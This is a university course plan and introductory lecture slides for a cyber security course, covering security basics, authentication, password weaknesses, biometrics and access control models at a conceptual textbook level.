MANIPAL INSTITUTE OF TECHNOLOGY
MANIPAL
(A constituent unit of MAHE, Manipal)

COURSE PLAN

Department :	Information & Communication Technology
Course Name & code :	Cyber Security & ICT 3156
Semester & branch :	V & IT
Name of the faculty :	Mrs. Manjula C Belavagi and Dr. Krishna Prakasha K

No of contact hours/week:

L	T	P	C
3	0	0	3

Course Outcomes (COs)

	At the end of this course, the student should be able to:	No. of Contact Hours	Marks
CO1:	Understand the basics of cyber security.	9	25
CO2:	Evaluate attacks on operating system, network, and web.	7	20
CO3:	Analyze the existing vulnerabilities and propose solutions.	12	34
CO4:	Examine real case studies of cyber security incidents and their mitigation.	8	21
CO5:			
	Total	36	100

Assessment Plan

Components	Assignments	Sessional Tests	End Semester/ Make-up Examination
Duration	20 to 30 minutes	60 minutes	180 minutes
Weightage	20 % (4 X 5 marks)	30 % (2 X 15 Marks)	50 % (1 X 50 Marks)
Typology of Questions	Understanding/ Comprehension; Application; Analysis; Synthesis; Evaluation	Knowledge/ Recall; Understanding/ Comprehension; Application	Understanding/ Comprehension; Application; Analysis; Synthesis; Evaluation
Pattern	Answer one randomly selected question from the problem sheet (Students can refer their class notes)	MCQ: 10 questions (0.5 marks) Short Answers: 5 questions (2 marks)	Answer all 5 full questions of 10 marks each. Each question may have 2 to 3 parts of 3/4/5/6/7 marks
Schedule	4, 7, 10, and 13th week of academic calendar	Calendared activity	Calendared activity
Topics Covered	Quiz 1 (L_{x1-x2} & T_{y1-y2}) **(CO x)**	Test 1 (L_{a1-a2} & T_{b1-b2}) **(CO x)**	Comprehensive examination covering full syllabus. Students are expected to answer all questions **(CO1-5)**
	Quiz 2 (L_{x3-x4} & T_{y3-y4}) **(CO x)**		
	Quiz 3 (L_{x5-x6} & T_{y5-y6}) **(CO x)**	Test 2 (L_{a3-a4} & T_{b3-b4}) **(CO x)**	
	Quiz 4 (L_{x7-x8} & T_{y7-y8}) **(CO x)**		

Lesson Plan

L. No./ T. No.	Topics	Course Outcome Addressed
L0	Introduction to the Course	
L1	Introduction: Basics of Computer security, Confidentiality, Integrity, Availability.	CO1
L2	Introduction: Threats, Harms, Vulnerabilities, Controls, Conclusion.	CO1
L3	Authentication- Identification Vs Authentication, Authentication Based on Phrases and Facts.	CO1, CO2
L4	Authentication Based on Biometrics, Authentication Based on Tokens, Federated Identity Management.	CO1, CO2
L5	Multifactor Authentication, Secure Authentication, Access Control- Access Policies.	CO1
L6	Implementing Access Control, Existing Access Control Models.	CO1
L7	Cryptography- Terminology, Symmetric and Asymmetric Encryption- AES, DES.	CO1
L8	RSA, Message Digests, Key Exchange, Certificates, Digital Signatures.	CO1
L9	Programming Insights: Non-malicious programs.	CO1, CO3
L10	Programming Insights: Viruses.	CO1, CO3
L11	Programming Insights: Worms.	CO1, CO3

L12	Programming Insights: Trojans, Countermeasures.	CO1, CO3
L13	Basics of hacking, Phishing, Brute Force Attack.	CO3
L14	Denial of Service, Distributed Denial of Service.	CO3
L15	Attacks, Penetration Testing.	CO3
L16	Bots and Botnets.	CO3
L17	Browser Attacks, Web Attacks targeting Users.	CO2
L18	Obtaining Users or Website Data, Email Attacks.	CO2
L19	Security in Operating System.	CO2
L20	Security in the Design of Operating Systems, Rootkit.	CO2
L21	Network Security Attacks.	CO2
L22	DoS, DDoS.	CO2
L23	Browser Encryption, Onion Routing.	CO3
L24	IP Security Protocol Suite (IPsec), Virtual Private Networks.	CO3
L25	Firewalls, Intrusion Detection and Prevention Systems.	CO3
L26	Network Management.	CO3
L27	Security Planning, A Measurement Primer for Cybersecurity, Handling Incidents.	CO3, CO4
L28	Risk Analysis, Risk Matrices, Lie Factors.	CO3, CO4
L29	Misconceptions, and Other Obstacles to Measuring Risk.	CO4
L30	Cyber Crime & Cyber Terrorism: Definitions, Emerging Threats.	CO3, CO4
L31	Ethical Issues in Computer Security.	CO4
L32	Incident Analysis with Ethics.	CO4
L33	Case Studies on Cyber Crime & Cyber Terrorism.	CO4
L34	Case Studies on Cyber Crime & Cyber Terrorism.	CO4
L35	Case Studies on Cyber Crime & Cyber Terrorism.	CO4
L36	Case Studies on Cyber Crime & Cyber Terrorism.	CO4

References:

1.	Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015.
2.	Akhgar B., Staniforth A. and Bosco F., Cyber Crime and Cyber Terrorism Investigator's Handbook (1e), Syngress Publishing, 2014.
3.	Hubbard D. W. and Seiersen R., How to Measure Anything in Cybersecurity Risk, John Wiley & Sons, 2016.
4.	Mitnick K. D. and Simon W. L., Art of Intrusion, Wiley Publishing Inc. 2005.
5.	Singer P. W. and Friedman A., Cybersecurity and Cyber war- What Everyone Needs to Know, Oxford.
6.	
7.	

Submitted by: Mrs. Manjula C Belavagi and Dr. Krishna Prakasha K

(Signature of the faculty)

Date: 06-08-2021

Approved by: Dr. Smitha N Pai

(Signature of HOD)

Date: 06-08-2021

FACULTY MEMBERS TEACHING THE COURSE (IF MULTIPLE SECTIONS EXIST):

FACULTY	SECTION	FACULTY	SECTION
Mrs. Manjula C Belavagi	A		
Dr. Krishna Prakasha K	B		

ICT 3156: CYBER SECURITY [3 0 0 3]

Objectives:

- To learn the basics of cyber security.
- To identify attacks on operating system, network and web.
- To be aware of the state-of-the-art technologies used for cyber security through real-world case studies.
- To analyze the security vulnerabilities in the existing systems.

Abstract:

Introduction to Computer Security, Toolbox: Authentication, Access Control and Cryptography, Programming Insights- Non-malicious programs, Malicious Programs, Viruses, Worms, Trojans, Countermeasures, Hacking- Basics of hacking, Phishing, Brute Force Attack, Denial of Service, Distributed Denial of Service Attacks, Penetration Testing, Bots and Botnets, Attacks on The Web, Operating Systems and Networks, Security Countermeasures- Browser Encryption, Onion Routing, IP Security Protocol Suite (IPsec), Virtual Private Networks, Firewalls, Intrusion Detection and Prevention Systems, Network Management, Management, Incidents, Ethics, Case Studies on Cyber Crime and Cyber Terrorism.

Syllabus:

Introduction to Computer Security:
Basics of Computer security, Confidentiality, Integrity, Availability, Threats, Harms, Vulnerabilities, Controls, Conclusion **[2 hours]**

Toolbox- Authentication, Access Control and Cryptography:
Authentication- Identification Vs Authentication, Authentication Based on Phrases and Facts, Authentication Based on Biometrics, Authentication Based on Tokens, Federated Identity Management, Multifactor Authentication, Secure Authentication, Access Control- Access Policies, Implementing Access Control, Existing Access Control Models

Cryptography- Terminology, Symmetric and Asymmetric Encryption- AES, DES, RSA, Message Digests, Key Exchange, Certificates, Digital Signatures
[6 hours]

Programming Insights- Non-malicious vs malicious programs:
Non-malicious programs, Malicious Programs- Viruses, Worms, Trojans, Countermeasures
[4 hours]

Hacking:
Basics of hacking, Phishing, Brute Force Attack, Denial of Service, Distributed Denial of Service Attacks, Penetration Testing, Bots and Botnets
[**4 hours]**

Attacks on the Web, Operating Systems and Networks:
Web: Browser Attacks, Web Attacks targeting Users, Obtaining Users or Website Data, Email Attacks
Operating System: Security in Operating System, Security in the Design of Operating Systems, Rootkit.
Networks: Network Security Attacks, DoS, DDoS **[6 Hours]**

Security Countermeasures:
Browser Encryption, Onion Routing, IP Security Protocol Suite (IPsec), Virtual Private Networks, Firewalls, Intrusion Detection and Prevention Systems, Network Management

[4 hours]

Management, Incidents, Ethics:
Security Planning, A Measurement Primer for Cybersecurity, Handling Incidents, Risk Analysis, Risk Matrices, Lie Factors, Misconceptions, and Other Obstacles to Measuring Risk, Cyber Crime & Cyber Terrorism: Definitions, Emerging Threats, Ethical Issues in Computer Security, Incident Analysis with Ethics,

[6 hours]

Case Studies:
Case Studies on Cyber Crime & Cyber Terrorism **[4 Hours]**

Outcome:

After completion of the course students are able to

- Understand the basics of cyber security.
- Evaluate attacks on operating system, network and web.
- Analyze the existing vulnerabilities and propose solutions.
- Examine real case studies of cyber security incidents and their mitigation.

References:

1. Pfleeger C. P., Pfleeger S. L. and Margulies J., *Security in Computing (5e),* Prentice Hall, 2015.
2. Akhgar B., Staniforth A. and Bosco F., *Cyber Crime and Cyber Terrorism Investigator's Handbook (1e),* Syngress Publishing, 2014.
3. Hubbard D. W. and Seiersen R., *How to Measure Anything in Cybersecurity Risk,* John Wiley & Sons, 2016.
4. Mitnick K. D. and Simon W. L., *Art of Intrusion,* Wiley Publishing Inc. 2005.
5. Singer P. W. and Friedman A., *Cybersecurity and Cyber war- What Everyone Needs to Know,* Oxford.

Cyber Security

ICT 3156

Syllabus

- Course Objectives
- Course Outcomes
- Books

Books

1. Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015.

2. Akhgar B., Staniforth A. and Bosco F., Cyber Crime and Cyber Terrorism Investigator's Handbook (1e), Syngress Publishing, 2014.

3. Hubbard D. W. and Seiersen R., How to Measure Anything in Cybersecurity Risk, John Wiley & Sons, 2016.

4. Mitnick K. D. and Simon W. L., Art of Intrusion, Wiley Publishing Inc. 2005.

5. Singer P. W. and Friedman A., Cybersecurity and Cyber war- What Everyone Needs to Know, Oxford.

Introduction

- What is Security?
- Why do we (human beings) need security?

Introduction to Computer Security

- The protection of the **ASSETS** of a computer system.

What makes the assets worthy of protection?

Hardware | Software | Data

Hardware:
- Computer
- Devices (disk drives, memory, printer)
- Network gear

Software:
- Operating system
- Utilities (antivirus)
- Commercial applications (word processing, photo editing)
- Individual applications

Data:
- Documents
- Photos
- Music, videos
- Email
- Class projects

Represent intellectual endeavor or property.

Values of Assets

- The value of an asset depends on the asset owner's or user's perspective.
- Assets' values are **personal**, **time dependent**, and often **imprecise**.

The goal of computer security is **protecting** valuable assets.

1. How can assets be harmed?
2. How to control it?

Basic Terms

- Vulnerability
- Threat
- Attack
- Control

Basic Terms

- Vulnerability

  A vulnerability is a weakness **in the system** that might be exploited to cause loss or harm.

  in procedures, design, or implementation, and so on.

- Threat
- Attack
- Control

Basic Terms

- Vulnerability
- Threat

A **threat** to a computing system is a set of circumstances that has the **potential** to cause loss or harm.

- Human-initiated
- Computer-initiated
- Natural Disasters

- Attack
- Control

Basic Terms

- Vulnerability
- Threat
- Attack

  A human who exploits a vulnerability perpetrates an **attack** on the system. An attack can also be launched by another system.

- Control

Basic Terms

- Vulnerability
- Threat
- Attack
- Control

A **control** is an action, device, procedure, or technique that removes or reduces a vulnerability. We use a **control** or **countermeasure** as protection.

Threat versus Vulnerability

The Vulnerability–Threat–Control Paradigm

Control prevents Threats from exercising Vulnerabilities

- A threat is blocked by control of a vulnerability.

- To protect the assets, or to devise controls, we need to know the kinds of harm we have to protect them against.
- We must explore more about threats to valuable assets.

Threats

- Potential harm to assets:
    - What bad things can happen to assets.
    - Who or What can cause or allow those bad things to happen.

- These two perspectives enable us to determine how to **protect** assets.

The CIA Triad : Hallmarks of solid security

- Three aspects to make your computer valuable to you.
- Three possible ways to make it less valuable, to cause you harm.
- Basic **security properties** and the **objects of security threats**.

CIA5

- Confidentiality
- Integrity
- Availability

Foundation for thinking about security.

- Authentication
- Accountability/ Non-repudiation

Extend security notions to network Communications.

- Auditability

Important in establishing individual accountability for computer activity.

- Authorization

CIA Triad: Four Acts to Cause Security Harm

- Thinking of these four kinds of acts can help determine what threats might exist against the computers under protection.

Confidentiality

- Only authorized people or systems can **access** protected data.

  - Who grants access?
  - What all can be accessed?
  - Does access permits disclosure?

- Properties that could mean a failure of data confidentiality:
  - An unauthorized **person** accesses a **data item**.
  - An unauthorized **process** or **program** accesses a **data item**.
  - A **person authorized** to access certain data accesses other **data not authorized**.
  - An unauthorized **person** accesses an **approximate data value**.
  - An unauthorized **person** learns the **existence** of a piece of **data**.

Fundamental aspects of computer security:

- Subject,
- Object,
- Policy, and
- Mode of Access.

Confidentiality and view.

Integrity

- Integrity is harder to pin down than confidentiality.
- Preserving the integrity of an item may mean that the item is
  - precise
  - accurate
  - unmodified
  - modified only in acceptable ways
  - modified only by authorized people
  - modified only by authorized processes
  - consistent
  - internally consistent
  - meaningful and usable

Three particular aspects of integrity—authorized actions, separation and protection of resources, and error detection and correction.

Availability

- Availability applies both to data and to services.
- An object or service is thought to be available if the following are true:

Goals

- It is present in a **usable** form.
- It has **enough capacity** to meet the service's needs.
- It is **making clear progress**, and, if in wait mode, it has a bounded waiting time.
- The service is **completed** in an **acceptable period of time**.

Availability

- Some criteria to define availability.
  - There is a timely response to our request.
  - Resources are allocated fairly
  - Concurrency is controlled;
  - Philosophy of fault tolerance, whereby hardware or software faults lead to **graceful cessation** of service or to work-arounds.
  - The service or system can be used easily and in the way it was intended to be used.

Access Control

- To implement a **policy**, computer security controls all accesses by all **subjects** to all protected **objects** in all **modes of access**.
- A small, centralized control of access is fundamental to preserving confidentiality and integrity, but it is not clear that a single access control point can enforce availability.

Computer security seeks to prevent unauthorized viewing (**confidentiality**) or modification (**integrity**) of data while preserving access (**availability**).

Types of Threats

Taken from Willis Ware's report [WAR70].

Types of Threats

- Sometimes the nature of an attack is not obvious until the attack is well underway, or perhaps even ended.
- Two retrospective lists of known vulnerabilities:

1. The Common Vulnerabilities and Exposures (CVE) list.
2. The Common Vulnerability Scoring System (CVSS).

Advanced Persistent Threat

- Advanced persistent threat attacks come from organized, well-financed, patient assailants.
- They carefully select their targets, crafting attacks that appeal to specifically those targets.
- Typically the attacks are silent, avoiding any obvious impact that would alert a victim.

Types of Attackers

- Individuals
- Organized, Worldwide Groups
- Organized Crime
- Terrorists

Harm

- Harm occurs when a threat is realized against a vulnerability.
- Protection against threats is done in order to reduce or eliminate harm.
- **Risk management** involves **choosing** which threats to control and what resources to devote to protection.
    - Value of an asset depends on perspective.
    - The value of many assets can change over time, so the degree of can change, too.
- The risk that remains uncovered by controls is called **residual risk**.
- Spending for security is based on the **impact** and **likelihood** of potential harm—both of which are nearly impossible to measure precisely.

How? When? Why?

MOM : Method–Opportunity–Motive

Three factors that determine feasibility of an attack or harm.

- **Method**

  The skills, knowledge, tools, and other things with which to perpetrate the attack.

- **Opportunity**

  The time and access to execute an attack.

- **Motive**

  Reason to want to attack.

- Method, opportunity, and motive are all necessary for an attack to succeed; deny any of these and the attack will fail.

Vulnerabilities

- Vulnerabilities are weaknesses that can allow harm to occur.
- Examples: weak authentication, lack of access control, errors in programs, finite or insufficient resources, and inadequate physical protection.
- System's **attack surface**
    - System's full set of vulnerabilities—actual and potential.
- Thus, the attack surface includes physical hazards, malicious attacks by outsiders, stealth data theft by insiders, mistakes, and impersonations.

Controls

- To protect against harm, then, we can neutralize the threat, close the vulnerability, or both.
- Several ways of dealing with harm:
    - **Prevent** it, by blocking the attack or closing the vulnerability
    - **Deter** it, by making the attack harder but not impossible
    - **Deflect** it, by making another target more attractive (or this one less so)
    - **Mitigate** it, by making its impact less severe
    - **Detect** it, either as it happens or some time after the fact
    - **Recover** from its effects.
- Security professionals balance the cost and effectiveness of controls with the likelihood and severity of harm.

Controls

Preemption
System Perimeter
External
Prevention
Internal
Prevention
System
Resource
Detection
Intrusion
Attempts
Response
Deflection
External
Deterrence
Internal
Deterrence
Faux
Environment

Controls

Controls can be grouped into 3 largely independent classes:

- **Physical** controls stop or block an attack by using something tangible.
- **Procedural** or **administrative** controls use a command or agreement.
- **Technical** controls counter threats with technology (hardware or software).

Controls

- The **property** to be protected and the **kind of threat** when you are choosing appropriate types of **countermeasures**.
- It can be effective to use **overlapping** controls or **defense in depth**: more than one control or more than one class of control to achieve protection.

Assets, Values of Assets, The Vulnerability–Threat–Control Paradigm

Threats

CIA Triad

Types of Threats

Types of Attackers

Harm

MOM

Vulnerabilities

Controls

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 1.

Toolbox:

Authentication, Access Control, and Cryptography.

ICT 3156

Introduction

- What is a toolbox?
- Why is a toolbox needed?
- A person (subject) has something of value. The attacker wants this, and employs means to achieve it. To defend the attacker, the defender needs tools.
- A security toolbox facilitates a system owner to establish a security policy, formally or informally, explicitly or implicitly, and begins taking measures to enforce that policy.

Introduction

- Security strategies
- Effective threats against the strategies
- Countermeasures.

- Fundamental Aspects of Computer Security? (From previous session)
- Controlling threats and vulnerabilities involves a **policy** that specifies **who** (subject) can access **what** (objects) and **how** (by which means).
- To be effective the policy enforcement must determine:
    - **Who** accurately.
    - Who can **access**/**not** access (example?) what.
    - How to safely limit access to intended subjects by transforming data.

Security Tools

- Authentication and its techniques and technologies.
    - The property of accurate identification is called **authentication**.
- Access Control mechanisms.
    - Allowing exactly those accesses which is authorized is called **access control**.
- Cryptography or encryption primarily.
    - **Encryption** is a tool by which we can transform data so only intended receivers.

Authentication

- The basis of computer security is controlled access: **someone** is authorized to take some **action** on **something**.
- For access control to work, what needs to be ensured?
- Determining who a person really is consists of two separate steps:
    - **Identification** is asserting who a person is.
    - **Authentication** is proving that asserted identity.

Identification Versus Authentication

- Identities are often well known, public, and not protected.
- Authentication should be private, reliable and necessarily protected.
- Examples of identification and authentication?
- Identifiers may be widely known or easily guessed/determined. Ramifications?
- Case Studies: How by just knowing the identification, security can be compromised?

Authentication mechanisms

Authentication mechanisms use any of **three qualities** to confirm a user's identity:

- Something the user knows.
  - Passwords, PIN numbers, passphrases, and so on.
- Something the user is.
  - Authenticators, called biometrics, are based on a physical characteristic of the user.
  - Fingerprint, voice signature, face, iris, and so on.
- Something the user has.
  - Identity badges, physical keys, a driver's license, or a uniform.

Authentication Based on Phrases and Facts: Something You Know

- Vulnerabilities are rampant in the most common authentication parameter, the password.

- Nature of passwords,
- Criteria for selecting them, and
- Ways of using them for authentication.

- Vulnerability of information we share ourselves. Case Study.

Password Use

- How is a password used (for authentication)?
- Difficulties in using:
- **Use**: Supplying a password for each access to an object can be inconvenient and time consuming.
- **Disclosure**.
- **Revocation**: To revoke one user's access right to an object, someone must change the password, thereby causing the same problems as disclosure.
- **Loss**: Depending on how the passwords are implemented, it may be impossible to retrieve a lost or forgotten password.

Attacking and Protecting Passwords

- Passwords may be easily attacked. True/False? Why?
- Password guessing steps (in increasing degree of difficulty):

1. No password.
2. Same as the user ID.
3. Is, or is derived from, the user's name.
4. On a common word list.
5. Contained in a short college dictionary.
6. Contained in a complete English word list.
7. Contained in common non-English-language dictionaries.
8. Contained in a short college dictionary with capitalizations or substitutions.
9. Contained in a complete English dictionary with capitalizations or substitutions.
10. Contained in common non-English dictionaries with capitalization or substitutions.
11. Obtained by brute force, trying all possible combinations of alphabetic characters.
12. Obtained by brute force, trying all possible combinations from the full character set.

Attacking Passwords

- Every password can be guessed; password strength is determined by how many guesses are required.

1. Dictionary Attacks
2. Inferring Passwords Likely for a User
3. Guessing Probable Passwords
4. Defeating Concealment
5. Exhaustive Attack

Dictionary Attacks

- Several network sites post dictionaries of phrases, science fiction character names, places, mythological names, Chinese words, Yiddish words, and other specialized lists.
- Merits and Demerits?
- These lists help site administrators identify users who have chosen weak passwords, but the same dictionaries can also be used by attackers of sites that do not have such attentive administrators.

Inferring Passwords Likely for a User

- People typically choose personal passwords. Why?
- Trying this limited number of passwords by computer takes well under a second!
- Several tests conducted over password datasets in different years showed that passwords are highly vulnerable and can easily be broken in a comparably lesser time.
- Case studies.

Guessing Probable Passwords

- Common passwords—such as qwerty, password, 123456—are used astonishingly often.
- If answer to any of the following 3 questions is No, then the password is not strong or safe enough.
- Is the word you thought of long? Is it uncommon? Is it hard to spell or to pronounce?
- Example: There are only $26^1 + 26^2 + 26^3 = 18{,}278$ passwords of length 3 or less. At an assumed rate of one password per millisecond, all these passwords can be checked in 18.278 seconds.
- Lists of common passwords are easy to find.

Defeating Concealment

- Easier than guessing a password is just to read one from a table, like the ones stored in OS.
- Operating systems store passwords in hidden (encrypted) form.
- The only critical point is that the process be **one-way**. Merit and Demerit?
- Limited number of attempts.
- If the attacker obtains an encrypted password table and learns the concealment algorithm, a computer program can easily test hundreds of thousands of guesses in a matter of minutes.
- **Rainbow table**: precomputed list of popular values, such as passwords.
- **Salt**: user-specific component joined to an encrypted password to distinguish identical passwords.

Exhaustive Attack

- In an exhaustive or brute force attack, the attacker tries all possible passwords, usually in some automated fashion.
- For example, assume passwords are words consisting of the 26 characters A–Z and can be of any length from 1 to 8 characters. How much time will it take to exhaust the search at the rate of 1 password per microsecond?

Example

Identity	Password
Jane	qwerty
Pat	aaaaaa
Phillip	oct31witch
Roz	aaaaaa
Herman	guessme
Claire	aq3wm$oto!4

Identity	Password
Jane	0x471aa2d2
Pat	0x13b9c32f
Phillip	0x01c142be
Roz	0x13b9c32f
Herman	0x5202aae2
Claire	0x488b8c27

Rainbow Table

Original Password	Encrypted Password
asdfg	0x023c94fc
p@55w0rd	0x04ff38d9
aaaaaa	0x13b9c32f
password	0x2129f30d
qwerty	0x471aa2d2
12345678	0x4f2c4dd8
123456	0x5903c34d
aaaaa	0x8384a8c8

Salt

Identity	ID+password (not stored in table)	Stored Authentication Value
Jane	Jan+qwerty	0x1d46e346
Pat	Pat+aaaaaa	0x2d5d3e44
Phillip	Phi+oct31witch	0xc23c04d8
Roz	Roz+aaaaaa	0xe30f4d27
Herman	Her+guessme	0x8127f48d
Claire	Cla+aq3wm$oto!4	0x5209d942

Attacking Passwords

- Every password can be guessed; password strength is determined by how many guesses are required.

1. Dictionary Attacks
2. Inferring Passwords Likely for a User
3. Guessing Probable Passwords
4. Defeating Concealment
5. Exhaustive Attack

- All these techniques to defeat passwords, combined with usability issues, indicate that we need to look for other methods of authentication.

Protecting Passwords

- Good Passwords
- Other Things Known
- Security Questions

While choosing passwords:

1. Use characters other than just a–z.
2. Choose long passwords.
3. Avoid actual names or words.
4. Use a string you can remember.
5. Use variants for multiple passwords.
6. Change the password regularly.
7. Don’t write it down.
8. Don’t tell anyone else.

Authentication Based on Biometrics: Something You Are

- Biometrics are biological properties, based on some physical characteristic of the human body.
- Examples: fingerprint, hand geometry (shape and size of fingers), retina and iris, voice, handwriting, signature, hand motion, typing characteristics, blood vessels in the finger or hand face, facial features, such as nose shape or eye spacing.
- Advantages?
- Biometric cannot be lost, stolen, forgotten, or shared and is always available, always at hand, so to speak. These characteristics are difficult, if not impossible, to forge.

IDEMIA

TPS980
NFC

Problems with Use of Biometrics

- Biometrics are relatively *new*, and some people find their use *intrusive*.
- Biometric recognition devices are *costly*.
- Biometric readers and comparisons can become a *single point of failure*.
- All biometric readers use *sampling* and establish a *threshold* for acceptance of a close match.
- Although equipment accuracy is improving, *false readings* still occur.
- The *speed* at which a recognition must be done limits accuracy.
- Although we like to think of biometrics as unique parts of an individual, *forgeries* are possible. Case Study.
- Any other?

False Positives and Negatives

- False positive: incorrectly confirming an identity.
- False negative: incorrectly denying an identity.

Errors to be avoided.

- Dichotomous system or test : When a screening system compares something it has with something it is measuring.

Reference Standard for Describing Dichotomous Tests

	Is the Person Claimed	Is Not the Person Claimed
Test is positive (There is a match.)	True Positive = a	False Positive = b
Test is negative (There is no match.)	False Negative = c	True Negative = d

False Positives and Negatives

	Is the Person Claimed	Is Not the Person Claimed
Test is positive (There is a match.)	True Positive = a	False Positive = b
Test is negative (There is no match.)	False Negative = c	True Negative = d

Four standard measures to measure success:

- Sensitivity $= a / (a + c)$

  The proportion of positive results among all possible correct matches.

- Specificity $= d / (b + d)$

  The proportion of negative results among all people who are not sought.

- Prevalence $= (a + c) / (a + b + c + d)$

  Tells us how common a certain condition or situation is.

- Accuracy $= (a + d) / (a + b + c + d)$

  Measures the degree to which the test correctly flags the condition or situation.

Problems with Use of Biometrics

- Biometrics are reliable for authentication but are much less reliable for identification. Why?
- All biometric readers operate in two phases:

1. Registration:
2. Authentication:

Problems with Use of Biometrics

- Biometrics are reliable for authentication but are much less reliable for identification. Why?
- All biometric readers operate in two phases:

1. Registration:
    - A characteristic of the user (hand, for example) is captured and reduced to a set of data points.
    - The user may be asked to present the hand several times.
    - Registration produces a pattern, called a **template**, of the data points particular to a specific user.
2. Authentication:

Problems with Use of Biometrics

- Biometrics are reliable for authentication but are much less reliable for identification. Why?
- All biometric readers operate in two phases:

1. Registration:
2. Authentication:
    - The system remeasures the hand and compares the new measurements with the stored template.
    - If the new measurement is close enough to the template, the system accepts the authentication; otherwise, the system rejects it.

Accuracy of Biometrics

- Biometric authentication means a subject matches a template closely enough. “Close” is a system parameter that can be tuned.
- Measuring the accuracy of biometric authentication is difficult because the authentication is not unique.
- Case Studies.

Authentication Based on Tokens: Something You Have

- Something you have means that you have a physical object in your possession.

Active and Passive Tokens

- **Passive** tokens do not change.
- Example: Key, ID card.
- **Active** tokens communicate with a sensor.
- Have some variability or interaction with its surroundings.
- Example: Metro card.

Static and Dynamic Tokens

- The value of a **static token** remains fixed.
- Examples: Keys, identity cards, passports, credit and other magnetic-stripe cards, and radio transmitter cards (called RFID devices).
- Static tokens are most useful for **onsite authentication**.
- **Dynamic tokens** have computing power on the token to change their internal state.
- A dynamic authentication token is essentially a device that generates an unpredictable value often called as a **pass number**.
- Dynamic token generators are useful for **remote authentication**, especially of a person to a computer.
- **Skimming**

Federated Identity Management

- **Federated identity management** unifies the identification and authentication process for a group of systems. Necessity?
- A federated scheme maintains one profile with one authentication method.
- Separate systems share access to the authenticated identity database.
- Authentication is performed in one place, and separate processes and systems determine that an already authenticated user is to be activated.
- Very similar to a **Single Sign-On** process.
- SSO involves an umbrella procedure where the user logs in once per session.
- The umbrella procedure maintains user identities and authentication codes for all the different processes the user accesses.

Federated Identity Management vs SSO

Federated Identity Manager

Single Sign-On

Multifactor Authentication

- The single-factor authentication offer advantages and disadvantages.
- Combining authentication information is called **multifactor authentication**.
- As long as the process does not become too onerous, authentication can use two, three, four, or more factors.
- Two-factor authentication.
- From a usability point of view, large values of n may lead to user frustration and reduced security

Secure Authentication

- Passwords, biometrics, and tokens can all participate in secure authentication.
- No guarantee that an authentication approach will be secure.
- Think about blocking possible attacks and attackers.
- Ways?
- Limiting users to certain workstations or certain times of access can cause complications.
- Security over inconvenience.
- Recognize qualities that distinguish normal, allowed activity.

Access Control

- Limiting **who** can access **what** in **what ways**.
- A **subject** is permitted to access an **object** in a particular **mode**, and only such authorized accesses are allowed.
- Effective separation will keep unauthorized subjects from unauthorized access to objects, but the separation gap must be crossed for authorized subjects and modes.

Access Policies

- A given subject either can or cannot access a particular object in a specified way.
- Before trying to implement access control, an organization needs to take the time to develop a higher-level security policy, which will then drive all the access control rules.
- Effective Policy Implementation
- Tracking
- Granularity
- Access Log
- Limited Privilege

Effective Policy Implementation

- Check every access.
- Enforce least privilege.
- Verify acceptable usage.

The principle of least privilege states that a subject should have access to the smallest number of objects necessary to perform some task.

Ability to access is a yes-or-no decision. But equally important is checking that the activity to be performed on an object is appropriate.

Tracking

- Implementing an appropriate policy is not the end of access administration.
- Administrators need to revisit the access policy to determine whether it is working as it should.
- It must be ensured on timely basis that:
    - Nobody has acquired many no-longer-needed rights.
    - Objects must be suitably split so that individuals can be allowed access to only the pieces they need.

Granularity

- Granularity: the fineness or **specificity** of access control.
- The finer the granularity, the larger number of access control decisions that must be made, so there is a performance penalty.
- Typically a file, a program, or a data space is the smallest unit to which access is controlled.
- Hardware devices, blocks of memory, the space on disk where program code is stored, specific applications, all these are likely objects over which access is controlled.

Access Log

- Audit log: Created and maintained by systems that records which accesses have been permitted.
- Preserved for later analysis.
- Reasons for logging access :
    - Can help plan for new or upgraded equipment, by showing which items have had heavy use.
    - If the system fails, these records can show what accesses were in progress and perhaps help identify the cause of failure.
    - If a user misuses objects, the access log shows exactly which objects the user did access.
    - In the event of an external compromise, the audit log may help identify how the assailant gained access and which data items were accessed.

Limited Privilege

- **Limited privilege** is the act of restraining users and processes so that any harm they can do is not catastrophic.
- Not all users are ethical or even competent and not all processes function as intended.
- Limited privilege is a management concept, not a technical control.

Implementing Access Control

- Access control is often performed by the operating system. Hindrances?
- Current hardware design limits some operating system designs, specially in access control. Justify.
- OS does not usually see inside files or data objects. So it cannot perform row- or element-level access control within a database.
- OS cannot easily differentiate among kinds of network traffic.
- In these cases, the operating system defers to a database manager or a network appliance in implementing some access control aspects.

Reference Monitor

- Access control depends on a combination of hardware and software.
- **Reference monitor:** access control that is always invoked, tamperproof, and verifiable (assuredly correct).
- It could be embedded in an application (to control the application's objects), part of the operating system (for system-managed objects) or part of an appliance.
- To have an effective reference monitor, effective and efficient means to translate policies into action needs to be considered.
- The **representation of a policy in binary data** determines the **efficiency** and **effectiveness** of the mediation.

Implementing Access Control

- Models to maintain access rights (implemented by the reference monitor):
    - Access Control Directory
    - Access Control Matrix
    - Access Control List
    - Privilege List
    - Capability

Access Control Directory

- Every file has a unique **owner** who possesses “control” access rights and to revoke access.
- No user can be allowed to **write in the file directory**, because that would be a way to forge access to a file.
- Therefore, the operating system must maintain all file directories, under commands from the owners of files.
- Easy to implement because it uses one list per user.

Access Control Directory

Difficulties:

- List becomes too large if many shared objects are accessible to all users.
- Revocation of access and **propagation of access rights**.
- **Pseudonyms** can lead to multiple permissions that are not necessarily consistent.

Access Control Matrix

	Bibliog	Temp	F	Help .txt	C_ Comp	Linker	Clock	Printer
USER A	ORW	ORW	ORW	R	X	X	R	W
USER B	R			R	X	X	R	W
USER S	RW		R	R	X	X	R	W
USER T			R	X	X	X	R	W
SYS MGR				RW	OX	OX	ORW	O
USER SVCS				O	X	X	R	W

Subject	Object	Right
USER A	Bibliog	ORW
USER B	Bibliog	R
USER S	Bibliog	RW
USER A	Temp	ORW
USER A	F	ORW
USER S	F	R

Access control matrix is sparse.

<Subject, Object, Rights>

Access Control List

- The list shows all subjects who should have access to the object and what their access is.
- There is one access control list **per object**; a directory is created for each subject.
- Advantages:
- Can include default rights.

Privilege List

- A privilege list, sometimes called a directory, is a row of the access matrix, showing all those privileges or access rights for a given subject.
- Ease of revocation.
- If a user is removed from the system, the privilege list shows all objects to which the user has access so that those rights can be removed from the object.

ACL versus Capability.

Capability

- A capability is an **unforgeable** token that gives the possessor certain rights to an object.
- A capability is just one access control triple of a subject, object, and right.
